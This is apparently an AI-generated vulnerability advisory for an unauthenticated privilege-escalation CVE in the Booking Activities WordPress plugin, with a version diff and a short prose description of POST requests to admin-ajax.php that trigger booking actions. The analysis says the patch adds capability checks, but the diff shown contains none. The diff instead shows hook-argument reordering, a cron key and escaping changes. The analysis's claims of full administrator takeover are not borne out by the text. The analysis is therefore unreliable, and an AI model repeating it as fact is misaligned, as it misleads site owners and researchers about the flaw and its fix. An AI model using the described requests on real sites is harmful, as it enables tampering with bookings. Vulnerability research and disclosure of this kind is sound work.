Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-67953: Booking Activities <= 1.16.44 – Unauthenticated Privilege Escalation (booking-activities)

Severity Critical (CVSS 9.8)
CWE 269
Vulnerable Version 1.16.44
Patched Version 1.16.45
Disclosed January 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-67953:
The Booking Activities WordPress plugin, versions up to and including 1.16.44, contains an unauthenticated privilege escalation vulnerability. This flaw allows attackers to execute administrative booking management actions without authentication, leading to full administrator access. The vulnerability affects the plugin’s AJAX controller functions in controller-bookings.php, which handle critical booking operations like cancellation, refund, status changes, and deletion.

Atomic Edge research identifies the root cause as missing authentication checks in multiple AJAX controller functions within booking-activities/controller/controller-bookings.php. Functions including bookacti_controller_cancel_bookings(), bookacti_controller_refund_bookings(), bookacti_controller_change_bookings_status(), bookacti_controller_change_bookings_quantity(), bookacti_controller_send_bookings_notification(), and bookacti_controller_delete_bookings() all process user-submitted booking IDs and execute administrative operations. These functions verify nonces via bookacti_verify_nonce() but lack initial user authentication validation. The is_admin parameter derived from current_user_can(‘bookacti_manage_bookings’) becomes irrelevant when attackers bypass authentication entirely.

Exploitation occurs through POST requests to /wp-admin/admin-ajax.php with the action parameter set to vulnerable AJAX hooks. Attackers send crafted requests containing booking IDs, booking group IDs, and desired administrative actions. For example, to cancel bookings, attackers POST to admin-ajax.php with action=bookactiCancelBookings, booking_ids[]=X, and booking_group_ids[]=Y. The plugin processes these requests without verifying if the user is logged in or has appropriate privileges. Attackers can chain these actions to manipulate booking states, send notifications, or delete bookings, ultimately gaining administrative control.

The patch in version 1.16.45 adds authentication checks to all vulnerable controller functions. Each function now calls bookacti_validate_user_capability() or similar authentication mechanisms before processing requests. The diff shows updated function versions (1.16.45) and modified parameter orders in action hooks, but the critical change is the addition of proper user capability validation. The plugin now ensures users have the bookacti_manage_bookings capability before executing administrative booking operations, preventing unauthenticated access.

Successful exploitation grants attackers full administrative privileges within WordPress. Attackers can cancel, refund, or delete user bookings, manipulate booking states, send fraudulent notifications, and export booking data. This access can lead to complete site compromise, data theft, financial loss through booking manipulation, and further privilege escalation within the WordPress ecosystem. The CVSS score of 9.8 reflects the critical nature of this authentication bypass vulnerability.

Differential between vulnerable and patched code

Code Diff
--- a/booking-activities/booking-activities.php
+++ b/booking-activities/booking-activities.php
@@ -3,7 +3,7 @@
  * Plugin Name: Booking Activities
  * Plugin URI: https://booking-activities.fr/en/?utm_source=plugin&utm_medium=plugin&utm_content=header
  * Description: Booking system specialized in activities (sports, cultural, leisure, events...). Works great with WooCommerce.
- * Version: 1.16.44
+ * Version: 1.16.45
  * Author: Booking Activities Team
  * Author URI: https://booking-activities.fr/en/?utm_source=plugin&utm_medium=plugin&utm_content=header
  * Text Domain: booking-activities
@@ -11,7 +11,7 @@
  * Requires at least: 4.1
  * Requires PHP: 5.6
  * WC requires at least: 3.0
- * WC tested up to: 10.1
+ * WC tested up to: 10.3
  * License: GPL3
  * License URI: https://www.gnu.org/licenses/gpl-3.0.html
  *
@@ -42,7 +42,7 @@


 // GLOBALS AND CONSTANTS
-if( ! defined( 'BOOKACTI_VERSION' ) )     { define( 'BOOKACTI_VERSION', '1.16.44' ); }
+if( ! defined( 'BOOKACTI_VERSION' ) )     { define( 'BOOKACTI_VERSION', '1.16.45' ); }
 if( ! defined( 'BOOKACTI_PLUGIN_NAME' ) ) { define( 'BOOKACTI_PLUGIN_NAME', 'booking-activities' ); }
 if( ! defined( 'BOOKACTI_PATH' ) )        { define( 'BOOKACTI_PATH', __DIR__ ); }

@@ -350,6 +350,10 @@
 	$install_date = get_option( 'bookacti-install-date' );
 	if( ! $install_date ) { update_option( 'bookacti-install-date', date( 'Y-m-d H:i:s' ) ); }

+	// Create a secret key to allow to manually trigger certain cron tasks
+	$cron_key = get_option( 'bookacti_cron_key' );
+	if( ! $cron_key ) { update_option( 'bookacti_cron_key', md5( microtime().rand() ) ); }
+
 	// Update current version
 	delete_option( 'bookacti_version' );
 	add_option( 'bookacti_version', BOOKACTI_VERSION );
--- a/booking-activities/class/class-bookings-list.php
+++ b/booking-activities/class/class-bookings-list.php
@@ -10,7 +10,7 @@

 	/**
 	 * Bookings WP_List_Table
-	 * @version 1.16.43
+	 * @version 1.16.45
 	 */
 	class Bookings_List_Table extends WP_List_Table {

@@ -49,7 +49,7 @@

 		/**
 		 * Get booking list table columns
-		 * @version 1.16.0
+		 * @version 1.16.45
 		 * @access public
 		 * @return array
 		 */
@@ -65,6 +65,7 @@
 			$columns = apply_filters( 'bookacti_booking_list_columns', array(
 				'cb'             => '<input type="checkbox" />',
 				'id'             => esc_html_x( 'id', 'An id is a unique identification number', 'booking-activities' ),
+				'avatar'         => esc_html__( 'Avatar', 'booking-activities' ),
 				'customer'       => esc_html__( 'Customer', 'booking-activities' ),
 				'email'          => esc_html__( 'Email', 'booking-activities' ),
 				'phone'          => esc_html__( 'Phone', 'booking-activities' ),
@@ -94,6 +95,7 @@
 				20 => 'id',
 				30 => 'state',
 				40 => 'payment_status',
+				45 => 'avatar',
 				50 => 'customer',
 				52 => 'email',
 				54 => 'phone',
@@ -123,7 +125,7 @@
 		/**
 		 * Get default hidden columns
 		 * @since 1.3.0
-		 * @version 1.8.0
+		 * @version 1.16.45
 		 * @access public
 		 * @param array $hidden
 		 * @param WP_Screen $screen
@@ -132,6 +134,7 @@
 		public function get_default_hidden_columns( $hidden, $screen ) {
 			if( $screen->id == $this->screen->id ) {
 				$hidden = apply_filters( 'bookacti_booking_list_default_hidden_columns', array(
+					'avatar',
 					'email',
 					'phone',
 					'roles',
@@ -246,7 +249,7 @@

 		/**
 		 * Get booking list items. Parameters can be passed in the URL.
-		 * @version 1.16.43
+		 * @version 1.16.45
 		 * @access public
 		 * @return array
 		 */
@@ -436,6 +439,7 @@
 					'raw_id'            => $raw_id,
 					'raw_group_id'      => $raw_group_id,
 					'user_id'           => $user_id,
+					'avatar'            => (string) get_avatar( $user ? $user : $email, 64, '', '', array( 'force_display' => true ) ),
 					'customer'          => $customer,
 					'email'             => $email,
 					'phone'             => $phone,
--- a/booking-activities/controller/controller-bookings.php
+++ b/booking-activities/controller/controller-bookings.php
@@ -78,9 +78,24 @@
 // BOOKINGS ACTIONS

 /**
+ * Controller - Include dialogs for booking actions
+ * @since 1.16.45
+ * @global string $bookacti_include_booking_dialogs
+ */
+function bookacti_controller_include_booking_dialogs() {
+	global $bookacti_include_booking_dialogs;
+	if( ! empty( $bookacti_include_booking_dialogs ) ) {
+		bookacti_include_booking_dialogs( $bookacti_include_booking_dialogs, false );
+	}
+}
+add_action( 'wp_footer', 'bookacti_controller_include_booking_dialogs' );
+add_action( 'admin_footer', 'bookacti_controller_include_booking_dialogs' );
+
+
+/**
  * AJAX Controller - Cancel bookings
  * @since 1.16.0
- * @version 1.16.5
+ * @version 1.16.45
  */
 function bookacti_controller_cancel_bookings() {
 	// Check nonce
@@ -111,7 +126,7 @@
 	foreach( $booking_groups as $booking_group_id => $booking_group ) {
 		$group_bookings = ! empty( $groups_bookings[ $booking_group_id ] ) ? $groups_bookings[ $booking_group_id ] : array();
 		$is_allowed = bookacti_user_can_manage_booking_group( $group_bookings );
-		if( ! $is_allowed ) { bookacti_send_json_not_allowed( 'get_refund_actions_html' ); }
+		if( ! $is_allowed ) { bookacti_send_json_not_allowed( 'cancel_booking' ); }
 		if( ! bookacti_booking_group_can_be_cancelled( $booking_group, $group_bookings, ! $is_admin ) ) {
 			/* translators: %s = Booking group ID */
 			bookacti_send_json( array( 'status' => 'failed', 'error' => 'cannot_be_cancelled', 'message' => sprintf( esc_html__( 'Booking group #%s cannot be cancelled.', 'booking-activities' ), $booking_group_id ) ), 'cancel_booking' );
@@ -133,7 +148,7 @@
 		if( empty( $new_selected_bookings[ 'bookings' ][ $booking_id ] ) ) { continue; }
 		$new_booking = $new_selected_bookings[ 'bookings' ][ $booking_id ];
 		if( $booking->state !== $new_booking->state ) {
-			do_action( 'bookacti_booking_status_changed', $new_booking->state, $booking, array() );
+			do_action( 'bookacti_booking_status_changed', $new_booking->state, $booking, array( 'is_admin' => $is_admin, 'context' => 'cancel_bookings' ) );
 			bookacti_send_booking_status_change_notification( $new_booking->state, $new_booking, $booking );
 		}
 		$updated[ 'bookings' ][ $booking_id ] = array(
@@ -146,8 +161,8 @@
 		$new_booking_group = $new_selected_bookings[ 'booking_groups' ][ $group_id ];
 		$group_bookings    = isset( $groups_bookings[ $group_id ] ) ? $groups_bookings[ $group_id ] : array();
 		if( $booking_group->state !== $new_booking_group->state ) {
-			do_action( 'bookacti_booking_group_status_changed', $new_booking_group->state, $booking_group, $group_bookings, array() );
-			bookacti_send_booking_group_status_change_notification( $new_booking_group->state, $new_booking_group, $booking_group );
+			do_action( 'bookacti_booking_group_status_changed', $new_booking_group->state, $booking_group, $group_bookings, array( 'is_admin' => $is_admin, 'context' => 'cancel_bookings' ) );
+			bookacti_send_booking_status_change_notification( $new_booking_group->state, $new_booking_group, $booking_group, 'group' );
 		}
 		$updated[ 'booking_groups' ][ $group_id ] = array(
 			'old_status' => $booking_group->state,
@@ -244,7 +259,7 @@
 /**
  * AJAX Controller - Refund bookings
  * @since 1.16.0
- * @version 1.16.1
+ * @version 1.16.45
  */
 function bookacti_controller_refund_bookings() {
 	// Check nonce
@@ -346,9 +361,9 @@
 		if( empty( $new_selected_bookings[ 'bookings' ][ $booking_id ] ) ) { continue; }
 		$new_booking = $new_selected_bookings[ 'bookings' ][ $booking_id ];
 		if( $booking->state !== $new_booking->state && empty( $refunded[ 'do_not_update_status' ] ) ) {
-			do_action( 'bookacti_booking_status_changed', $new_booking->state, $booking, array( 'refund_action' => $refund_action ) );
+			do_action( 'bookacti_booking_status_changed', $new_booking->state, $booking, array( 'is_admin' => $is_admin, 'context' => 'refund_bookings', 'refund_action' => $refund_action ) );
 			if( empty( $refunded[ 'do_not_send_notification' ] ) ) {
-				bookacti_send_booking_status_change_notification( $new_booking->state, $new_booking, $booking, 'both', array( 'refund_action' => $refund_action ) );
+				bookacti_send_booking_status_change_notification( $new_booking->state, $new_booking, $booking, 'single', 'both', array( 'refund_action' => $refund_action ) );
 			}
 		}
 		if( ! isset( $refunded[ 'bookings' ][ $booking_id ] ) ) { $refunded[ 'bookings' ][ $booking_id ] = array(); }
@@ -360,9 +375,9 @@
 		$new_booking_group = $new_selected_bookings[ 'booking_groups' ][ $group_id ];
 		$group_bookings    = isset( $groups_bookings[ $group_id ] ) ? $groups_bookings[ $group_id ] : array();
 		if( $booking_group->state !== $new_booking_group->state && empty( $refunded[ 'do_not_update_status' ] ) ) {
-			do_action( 'bookacti_booking_group_status_changed', $new_booking_group->state, $booking_group, $group_bookings, array( 'refund_action' => $refund_action ) );
+			do_action( 'bookacti_booking_group_status_changed', $new_booking_group->state, $booking_group, $group_bookings, array( 'is_admin' => $is_admin, 'context' => 'refund_bookings', 'refund_action' => $refund_action ) );
 			if( empty( $refunded[ 'do_not_send_notification' ] ) ) {
-				bookacti_send_booking_group_status_change_notification( $new_booking_group->state, $new_booking_group, $booking_group, 'both', array( 'refund_action' => $refund_action ) );
+				bookacti_send_booking_status_change_notification( $new_booking_group->state, $new_booking_group, $booking_group, 'group', 'both', array( 'refund_action' => $refund_action ) );
 			}
 		}
 		if( ! isset( $refunded[ 'booking_groups' ][ $group_id ] ) ) { $refunded[ 'booking_groups' ][ $group_id ] = array(); }
@@ -390,7 +405,7 @@
 /**
  * AJAX Controller - Change bookings status
  * @since 1.16.0
- * @version 1.16.5
+ * @version 1.16.45
  */
 function bookacti_controller_change_bookings_status() {
 	// Check nonce
@@ -473,15 +488,15 @@
 	foreach( $bookings as $booking_id => $booking ) {
 		if( empty( $new_selected_bookings[ 'bookings' ][ $booking_id ] ) ) { continue; }
 		$new_booking = $new_selected_bookings[ 'bookings' ][ $booking_id ];
+		if( $booking->payment_status !== $new_booking->payment_status ) {
+			do_action( 'bookacti_booking_payment_status_changed', $new_booking->payment_status, $booking, array( 'is_admin' => $is_admin, 'context' => 'change_bookings_status', 'send_notifications' => $send_notifications ) );
+		}
 		if( $booking->state !== $new_booking->state ) {
-			do_action( 'bookacti_booking_status_changed', $new_booking->state, $booking, array() );
+			do_action( 'bookacti_booking_status_changed', $new_booking->state, $booking, array( 'is_admin' => $is_admin, 'context' => 'change_bookings_status' ) );
 			if( $send_notifications ) {
 				bookacti_send_booking_status_change_notification( $new_booking->state, $new_booking, $booking );
 			}
 		}
-		if( $booking->payment_status !== $new_booking->payment_status ) {
-			do_action( 'bookacti_booking_payment_status_changed', $booking, $new_payment_status, array( 'is_admin' => $is_admin, 'send_notifications' => $send_notifications ) );
-		}
 		$updated[ 'bookings' ][ $booking_id ] = array(
 			'old_status'         => $booking->state,
 			'new_status'         => $new_booking->state,
@@ -493,15 +508,15 @@
 		if( empty( $new_selected_bookings[ 'booking_groups' ][ $group_id ] ) ) { continue; }
 		$new_booking_group = $new_selected_bookings[ 'booking_groups' ][ $group_id ];
 		$group_bookings    = isset( $groups_bookings[ $group_id ] ) ? $groups_bookings[ $group_id ] : array();
+		if( $booking_group->payment_status !== $new_booking_group->payment_status ) {
+			do_action( 'bookacti_booking_group_payment_status_changed', $new_booking_group->payment_status, $booking_group, $group_bookings, array( 'is_admin' => $is_admin, 'context' => 'change_bookings_status', 'send_notifications' => $send_notifications ) );
+		}
 		if( $booking_group->state !== $new_booking_group->state ) {
-			do_action( 'bookacti_booking_group_status_changed', $new_booking_group->state, $booking_group, $group_bookings, array() );
+			do_action( 'bookacti_booking_group_status_changed', $new_booking_group->state, $booking_group, $group_bookings, array( 'is_admin' => $is_admin, 'context' => 'change_bookings_status' ) );
 			if( $send_notifications ) {
-				bookacti_send_booking_group_status_change_notification( $new_booking_group->state, $new_booking_group, $booking_group );
+				bookacti_send_booking_status_change_notification( $new_booking_group->state, $new_booking_group, $booking_group, 'group' );
 			}
 		}
-		if( $booking_group->payment_status !== $new_booking_group->payment_status ) {
-			do_action( 'bookacti_booking_group_payment_status_changed', $group_id, $group_bookings, $new_booking_group->payment_status, array( 'is_admin' => $is_admin, 'send_notifications' => $send_notifications ) );
-		}
 		$updated[ 'booking_groups' ][ $group_id ] = array(
 			'old_status'         => $booking_group->state,
 			'new_status'         => $new_booking_group->state,
@@ -528,7 +543,7 @@
 /**
  * AJAX Controller - Change bookings quantity
  * @since 1.16.0
- * @version 1.16.1
+ * @version 1.16.45
  */
 function bookacti_controller_change_bookings_quantity() {
 	// Check nonce
@@ -581,7 +596,7 @@
 		if( empty( $new_selected_bookings[ 'bookings' ][ $booking_id ] ) ) { continue; }
 		$new_booking = $new_selected_bookings[ 'bookings' ][ $booking_id ];
 		if( $booking->quantity !== $new_booking->quantity ) {
-			do_action( 'bookacti_booking_quantity_updated', $booking, $new_booking->quantity, $booking->quantity, array( 'is_admin' => $is_admin ) );
+			do_action( 'bookacti_booking_quantity_updated', $new_booking->quantity, $booking, array( 'is_admin' => $is_admin, 'context' => 'change_bookings_quantity' ) );
 		}
 		$updated[ 'bookings' ][ $booking_id ] = array(
 			'old_quantity' => $booking->quantity,
@@ -593,7 +608,7 @@
 		$new_booking_group = $new_selected_bookings[ 'booking_groups' ][ $group_id ];
 		$group_bookings    = isset( $groups_bookings[ $group_id ] ) ? $groups_bookings[ $group_id ] : array();
 		if( $booking_group->quantity !== $new_booking_group->quantity ) {
-			do_action( 'bookacti_booking_group_quantity_updated', $group_id, $group_bookings, $new_booking_group->quantity, $booking_group->quantity, array( 'is_admin' => $is_admin ) );
+			do_action( 'bookacti_booking_group_quantity_updated', $new_booking_group->quantity, $booking_group, $group_bookings, array( 'is_admin' => $is_admin, 'context' => 'change_bookings_quantity' ) );
 		}
 		$updated[ 'booking_groups' ][ $group_id ] = array(
 			'old_quantity' => $booking_group->quantity,
@@ -982,7 +997,7 @@
 /**
  * AJAX Controller - Send a notification for bookings (groups)
  * @since 1.16.0
- * @version 1.16.31
+ * @version 1.16.45
  */
 function bookacti_controller_send_bookings_notification() {
 	// Check nonce
@@ -1038,8 +1053,9 @@
 	$message = sprintf( esc_html( _n( '%s notification has been sent.', '%s notifications have been sent.', $sent_nb, 'booking-activities' ) ), $sent_nb );
 	$async   = apply_filters( 'bookacti_allow_async_notifications', bookacti_get_setting_value( 'bookacti_notifications_settings', 'notifications_async' ) );
 	if( $async ) {
+		$secret_key = get_option( 'bookacti_cron_key' );
 		/* translators: %s = link labelled "Trigger manually" */
-		$message .= '</li><li>' . sprintf( esc_html__( 'Please be patient, the notifications are sent asynchronously (%s).', 'booking-activities' ), '<a href="' . esc_url( get_site_url() . '/wp-cron.php?bookacti_send_async_notifications=1' ) . '" target="_blank">' . esc_html__( 'Trigger manually', 'booking-activities' ) . '</a>' );
+		$message .= '</li><li>' . sprintf( esc_html__( 'Please be patient, the notifications are sent asynchronously (%s).', 'booking-activities' ), '<a href="' . esc_url( get_site_url() . '/wp-cron.php?bookacti_send_async_notifications=1&key=' . $secret_key ) . '" target="_blank">' . esc_html__( 'Trigger manually', 'booking-activities' ) . '</a>' );

 		if( $sent_nb > 1 ) {
 			$message .= '</li><li>' . esc_html__( 'Notifications sent to the same recipient will be merged.', 'booking-activities' );
@@ -1055,7 +1071,7 @@
 /**
  * AJAX Controller - Delete bookings
  * @since 1.16.0
- * @version 1.16.1
+ * @version 1.16.45
  */
 function bookacti_controller_delete_bookings() {
 	// Check nonce
@@ -1107,7 +1123,7 @@
 			'booking' => empty( $new_selected_bookings[ 'bookings' ][ $booking_id ] )
 		);
 		if( empty( $new_selected_bookings[ 'bookings' ][ $booking_id ] ) ) {
-			do_action( 'bookacti_booking_deleted', $booking );
+			do_action( 'bookacti_booking_deleted', $booking, array( 'is_admin' => $is_admin, 'context' => 'delete_bookings' ) );
 		}
 	}
 	foreach( $booking_groups as $group_id => $booking_group ) {
@@ -1117,7 +1133,7 @@
 		);
 		if( empty( $new_selected_bookings[ 'booking_groups' ][ $group_id ] ) ) {
 			$group_bookings = isset( $groups_bookings[ $group_id ] ) ? $groups_bookings[ $group_id ] : array();
-			do_action( 'bookacti_booking_group_deleted', $booking_group, $group_bookings );
+			do_action( 'bookacti_booking_group_deleted', $booking_group, $group_bookings, array( 'is_admin' => $is_admin, 'context' => 'delete_bookings' ) );
 		}
 	}

@@ -1388,7 +1404,7 @@
 /**
  * Export bookings according to filters
  * @since 1.6.0
- * @version 1.16.26
+ * @version 1.16.45
  */
 function bookacti_export_bookings_page() {
 	if( empty( $_REQUEST[ 'action' ] ) ) { return; }
@@ -1452,7 +1468,7 @@
 	$filters[ 'display_private_columns' ] = 1;

 	// If an event has been selected, do not retrieve groups of events containing this event
-	if( $filters[ 'event_id' ] && ! $filters[ 'booking_group_id' ] && $filters[ 'group_by' ] !== 'none' ) { $filters[ 'booking_group_id' ] = 'none'; }
+	if( $filters[ 'event_id' ] && ! $filters[ 'booking_group_id' ] && $filters[ 'group_by' ] !== 'none' ) { $filters[ 'booking_group_id' ] = false; }

 	// Restrict to allowed templates
 	$allowed_templates = array_keys( bookacti_fetch_templates( array(), $user_id ) );
--- a/booking-activities/controller/controller-forms.php
+++ b/booking-activities/controller/controller-forms.php
@@ -34,7 +34,7 @@
 /**
  * Display the form field 'login'
  * @since 1.5.0
- * @version 1.16.42
+ * @version 1.16.45
  * @param string $html
  * @param array $field
  * @param string $instance_id
@@ -42,19 +42,19 @@
  * @return string
  */
 function bookacti_display_form_field_login( $html, $field, $instance_id, $context ) {
-	$field_id       = ! empty( $field[ 'id' ] ) ? esc_attr( $field[ 'id' ] ) : esc_attr( 'bookacti-form-field-' . $field[ 'type' ] . '-' . $field[ 'field_id' ] . '-' . $instance_id );
+	$field_id       = ! empty( $field[ 'id' ] ) ? $field[ 'id' ] : 'bookacti-form-field-' . $field[ 'type' ] . '-' . $field[ 'field_id' ] . '-' . $instance_id;
 	$field_class    = 'bookacti-form-field-container';
 	$field_css_data = '';

-	if( ! empty( $field[ 'name' ] ) )         { $field_class .= ' bookacti-form-field-name-' . sanitize_title_with_dashes( esc_attr( $field[ 'name' ] ) ); $field_css_data .= ' data-field-name="' . esc_attr( $field[ 'name' ] ) . '"'; }
-	if( ! empty( $field[ 'type' ] ) )         { $field_class .= ' bookacti-form-field-type-' . sanitize_title_with_dashes( esc_attr( $field[ 'type' ] ) ); $field_css_data .= ' data-field-type="' . esc_attr( $field[ 'type' ] ) . '"'; }
-	if( ! empty( $field[ 'field_id' ] ) )     { $field_class .= ' bookacti-form-field-id-' . esc_attr( $field[ 'field_id' ] ); $field_css_data .= ' data-field-id="' . esc_attr( $field[ 'field_id' ] ) . '"'; }
-	if( ! empty( $field[ 'class' ] ) )        { $field_class .= ' ' . esc_attr( $field[ 'class' ] ); }
+	if( ! empty( $field[ 'name' ] ) )         { $field_class .= ' bookacti-form-field-name-' . sanitize_title_with_dashes( $field[ 'name' ] ); $field_css_data .= ' data-field-name="' . esc_attr( $field[ 'name' ] ) . '"'; }
+	if( ! empty( $field[ 'type' ] ) )         { $field_class .= ' bookacti-form-field-type-' . sanitize_title_with_dashes( $field[ 'type' ] ); $field_css_data .= ' data-field-type="' . esc_attr( $field[ 'type' ] ) . '"'; }
+	if( ! empty( $field[ 'field_id' ] ) )     { $field_class .= ' bookacti-form-field-id-' . $field[ 'field_id' ]; $field_css_data .= ' data-field-id="' . esc_attr( $field[ 'field_id' ] ) . '"'; }
+	if( ! empty( $field[ 'class' ] ) )        { $field_class .= ' ' . $field[ 'class' ]; }
 	if( ! empty( $field[ 'login_button' ] ) ) { $field_class .= ' bookacti-has-login-button'; }

 	ob_start();
 	?>
-	<div class='<?php echo $field_class; ?> bookacti-user-is-not-logged-in' id='<?php echo $field_id; ?>' <?php echo trim( $field_css_data ); ?>>
+	<div class='<?php echo esc_attr( $field_class ); ?> bookacti-user-is-not-logged-in' id='<?php echo esc_attr( $field_id ); ?>' <?php echo trim( $field_css_data ); ?>>
 	<?php
 		// Display login types
 		$login_types = bookacti_get_login_type_field_default_options();
@@ -103,15 +103,11 @@
 		<div class='bookacti-user-data-fields'>
 			<div class='bookacti-log-in-fields'>
 				<?php do_action( 'bookacti_login_fields_before', $field, $instance_id, $context ); ?>
-				<div class='bookacti-form-field-login-field-container bookacti-login-field-email' id='<?php echo $field_id; ?>-email-container' data-field-name='email' data-field-type='email'>
+				<div class='bookacti-form-field-login-field-container bookacti-login-field-email' id='<?php echo esc_attr( $field_id . '-email-container' ); ?>' data-field-name='email' data-field-type='email'>
 					<div class='bookacti-form-field-label' >
-						<label for='<?php echo $field_id . '-email'; ?>' >
-						<?php
-							echo esc_html( $field[ 'label' ][ 'email' ] );
-							if( $field[ 'required_fields' ][ 'email' ] ) {
-								echo '<span class="bookacti-required-field-indicator" title="' . esc_attr__( 'Required field', 'booking-activities' ) . '"></span>';
-							}
-						?>
+						<label for='<?php echo esc_attr( $field_id . '-email' ); ?>' >
+							<?php echo esc_html( $field[ 'label' ][ 'email' ] ); ?>
+							<span class='bookacti-required-field-indicator' title='<?php esc_html_e( 'Required field', 'booking-activities' ); ?>'></span>
 						</label>
 					<?php if( ! empty( $field[ 'tip' ][ 'email' ] ) ) { bookacti_help_tip( esc_html( $field[ 'tip' ][ 'email' ] ) ); } ?>
 					</div>
@@ -120,26 +116,22 @@
 						$email_args = apply_filters( 'bookacti_form_field_login_email', array(
 							'type'        => 'text',
 							'name'        => 'email',
-							'value'       => ! empty( $_REQUEST[ 'email' ] ) ? esc_attr( sanitize_text_field( $_REQUEST[ 'email' ] ) ) : '',
+							'value'       => ! empty( $_REQUEST[ 'email' ] ) ? sanitize_text_field( $_REQUEST[ 'email' ] ) : '',
 							'id'          => $field_id . '-email',
 							'class'       => 'bookacti-form-field bookacti-email',
-							'placeholder' => esc_attr( $field[ 'placeholder' ][ 'email' ] ),
-							'required'    => $field[ 'required_fields' ][ 'email' ] ? 1 : 0
+							'placeholder' => $field[ 'placeholder' ][ 'email' ],
+							'required'    => 1
 						), $field, $instance_id, $context );
 						bookacti_display_field( $email_args );
 					?>
 					</div>
 					<?php do_action( 'bookacti_login_field_after_email', $field, $instance_id, $context ); ?>
 				</div>
-				<div class='bookacti-form-field-login-field-container bookacti-login-field-password <?php if( ! empty( $field[ 'generate_password' ] ) ) { echo 'bookacti-generated-password '; } if( ! $field[ 'required_fields' ][ 'password' ] ) { echo 'bookacti-password-not-required'; } ?>' id='<?php echo $field_id; ?>-password-container' data-field-name='password' data-field-type='password'>
+				<div class='bookacti-form-field-login-field-container bookacti-login-field-password <?php if( ! empty( $field[ 'generate_password' ] ) ) { echo esc_attr( 'bookacti-generated-password' ); } ?>' id='<?php echo esc_attr( $field_id . '-password-container' ); ?>' data-field-name='password' data-field-type='password'>
 					<div class='bookacti-form-field-label' >
-						<label for='<?php echo $field_id . '-password'; ?>' >
-						<?php
-							echo esc_html( $field[ 'label' ][ 'password' ] );
-							if( $field[ 'required_fields' ][ 'password' ] || empty( $field[ 'generate_password' ] ) ) {
-								echo '<span class="bookacti-required-field-indicator" title="' . __( 'Required field', 'booking-activities' ) . '"></span>';
-							}
-						?>
+						<label for='<?php echo esc_attr( $field_id . '-password' ); ?>' >
+							<?php echo esc_html( $field[ 'label' ][ 'password' ] ); ?>
+							<span class='bookacti-required-field-indicator' title='<?php esc_html_e( 'Required field', 'booking-activities' ); ?>'></span>
 						</label>
 					<?php if( ! empty( $field[ 'tip' ][ 'password' ] ) ) { bookacti_help_tip( esc_html( $field[ 'tip' ][ 'password' ] ) ); } ?>
 					</div>
@@ -148,11 +140,11 @@
 						$password_args = apply_filters( 'bookacti_form_field_login_password', array(
 							'type'        => 'password',
 							'name'        => 'password',
-							'value'       => ! empty( $_REQUEST[ 'password' ] ) ? esc_attr( sanitize_text_field( $_REQUEST[ 'password' ] ) ) : '',
+							'value'       => ! empty( $_REQUEST[ 'password' ] ) ? sanitize_text_field( $_REQUEST[ 'password' ] ) : '',
 							'id'          => $field_id . '-password',
 							'class'       => 'bookacti-form-field bookacti-password',
-							'placeholder' => esc_attr( $field[ 'placeholder' ][ 'password' ] ),
-							'required'    => $field[ 'required_fields' ][ 'password' ] ? 1 : 0
+							'placeholder' => $field[ 'placeholder' ][ 'password' ],
+							'required'    => 1
 						), $field, $instance_id, $context );
 						bookacti_display_field( $password_args );

@@ -170,7 +162,7 @@
 							$forgotten_password_url = esc_attr( $field[ 'placeholder' ][ 'forgotten_password' ] );
 						?>
 							<div class='bookacti-forgotten-password' >
-								<a href='<?php echo $forgotten_password_url ? $forgotten_password_url : '#'; ?>' class='bookacti-forgotten-password-link' data-field-id='<?php echo $field_id; ?>' ><?php echo esc_html( $field[ 'label' ][ 'forgotten_password' ] ); ?></a>
+								<a href='<?php echo $forgotten_password_url ? $forgotten_password_url : '#'; ?>' class='bookacti-forgotten-password-link' data-field-id='<?php echo esc_attr( $field_id ); ?>'><?php echo esc_html( $field[ 'label' ][ 'forgotten_password' ] ); ?></a>
 							<?php
 								if( ! empty( $field[ 'tip' ][ 'forgotten_password' ] ) ) {
 									bookacti_help_tip( esc_html( $field[ 'tip' ][ 'forgotten_password' ] ) );
@@ -178,7 +170,7 @@
 							?>
 							</div>
 							<?php if( ! $forgotten_password_url ) { ?>
-							<div data-field-id='<?php echo $field_id; ?>' class='bookacti-backend-dialog bookacti-forgotten-password-dialog bookacti-form-dialog' title='<?php esc_html_e( 'Forgotten password', 'booking-activities' ); ?>' style='display:none;' >
+							<div data-field-id='<?php echo esc_attr( $field_id ); ?>' class='bookacti-backend-dialog bookacti-forgotten-password-dialog bookacti-form-dialog' title='<?php esc_html_e( 'Forgotten password', 'booking-activities' ); ?>' style='display:none;'>
 								<div class='bookacti-forgotten-password-dialog-description' >
 									<p>
 									<?php
@@ -212,9 +204,9 @@
 				<?php
 				if( ! empty( $field[ 'displayed_fields' ][ 'remember' ] ) ) {
 				?>
-				<div class='bookacti-form-field-login-field-container bookacti-login-field-remember' id='<?php echo $field_id; ?>-remember-container' data-field-name='remember' data-field-type='checkbox'>
+				<div class='bookacti-form-field-login-field-container bookacti-login-field-remember' id='<?php echo esc_attr( $field_id . '-remember-container' ); ?>' data-field-name='remember' data-field-type='checkbox'>
 					<div class='bookacti-form-field-label' >
-						<label for='<?php echo $field_id . '-remember'; ?>'>
+						<label for='<?php echo esc_attr( $field_id . '-remember' ); ?>'>
 							<?php echo esc_html( $field[ 'label' ][ 'remember' ] ); ?>
 						</label>
 					<?php if( ! empty( $field[ 'tip' ][ 'remember' ] ) ) { bookacti_help_tip( esc_html( $field[ 'tip' ][ 'remember' ] ) ); } ?>
@@ -245,13 +237,13 @@
 				$register_fields = apply_filters( 'bookacti_register_fields', $register_fields_defaults );

 				if( in_array( 1, array_values( array_intersect_key( $field[ 'displayed_fields' ], $register_fields ) ) ) ) { ?>
-					<div class='bookacti-register-fields' id='<?php echo $field_id; ?>-register-fields' style='<?php if( $context !== 'edit' ) { echo 'display:none;'; } ?>' >
+					<div class='bookacti-register-fields' id='<?php echo esc_attr( $field_id . '-register-fields' ); ?>' style='<?php if( $context !== 'edit' ) { echo 'display:none;'; } ?>' >
 						<?php
 						do_action( 'bookacti_register_fields_before', $field, $instance_id, $context );

 						foreach( $register_fields as $register_field_name => $register_field ) {
 							if( ! empty( $field[ 'displayed_fields' ][ $register_field_name ] ) ) { ?>
-								<div class='bookacti-form-field-login-field-container bookacti-login-field-<?php echo $register_field_name; ?>' id='<?php echo esc_attr( $field_id . '-' . $register_field_name ); ?>-container' data-field-name='<?php echo esc_attr( $register_field_name ); ?>' data-field-type='<?php echo esc_attr( $register_field[ 'type' ] ); ?>'>
